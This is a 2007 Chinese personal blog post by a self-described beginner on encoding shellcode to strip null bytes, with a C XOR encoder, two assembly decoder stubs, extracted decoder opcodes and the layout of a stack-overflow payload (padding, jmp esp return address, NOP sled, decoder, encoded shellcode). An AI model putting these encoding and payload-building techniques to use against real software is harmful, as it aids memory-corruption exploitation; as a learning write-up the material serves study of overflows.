编写shellcode补完


看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜。
什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码 问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。
异或法就是简单地将shellcode异或。
void Encode(char *Sc)
{
int i,j;
int EnKey=0x99; //与之异或的值
char msg[4];
for(i=0;i<54;i++)
{
Sc[i]=Sc[i]^EnKey;
}
for(i=0;i<54;i++)
{
sprintf(msg,""x%.2X",Sc[i]&0xff);
for(j=0;j<4;j++) printf("%c",msg[j]);
}
printf(""n");
}
很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。
_asm{
mov ebx,esp
mov dl,99h //dl is the key
mov cl,57 //cl is the shellcode's lenth
Dencode_loop:
xor [ebx + 0Bh],dl
inc ebx
loop Dencode_loop
}
我想了想我这个解码方法不是太好,因为要先知道shellcode的长度,我看了看别人写的解码觉得不错。
jmp Decode_end
Decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x200 //要解码的 EnShellCode, 长度0x200应该足够
Decode_loop:
xor byte ptr [edx+ecx], 0x97 // 因为编码时用的Key是0x97,所以解码要一样
loop Decode_loop
jmp Decode_ok
Decode_end:
call Decode_start
Decode_ok:
这样就可以不用知道shellcode的长度了。
写完解码程序后提取一下解码的机器码:""x8B"xDC"xB2"x99"xB1"x39"x30"x53"x0C"x43"xE2"xFA";
这样我们重新构造我们的shellcode
shellcode[ MaxSize]的结构大致为:要覆盖对象缓冲区大小 + ret值(也就是指定的系统jmp esp) + 解码程序 + 编码后的shellcode。还可以在解码程序前增加若干nop指令以减少计算不准出现的错误。
现在我说说自己遇到的问题,这个应该是难点。1。我怎么知道解码程序该从哪个位置解码呢?出现这个问题的原因是我还是没有对压栈情况有清楚的认识。其实很 简单,这个问题明天讲,因为牵扯到栈溢出的原理。2。怎么让shellcode正确返回,这个问题仍在解决中,汗~~
总之,我们知道了shellcode基本编码过程和解码过程,shellcode的基本框架就是如此了,我分析了几个shellcode,果然是这样的。调试的时候很好玩,在解码的时候,后面的shellcode一个个的还原出了真实的面目了。
到此,shellcode已经基本完毕,以后的工作是深入地理解溢出了,争取为以后的漏洞分析与挖掘打下基础。

posted on 2007-08-24 16:59  dhb133  阅读(467)  评论(0编辑  收藏  举报

导航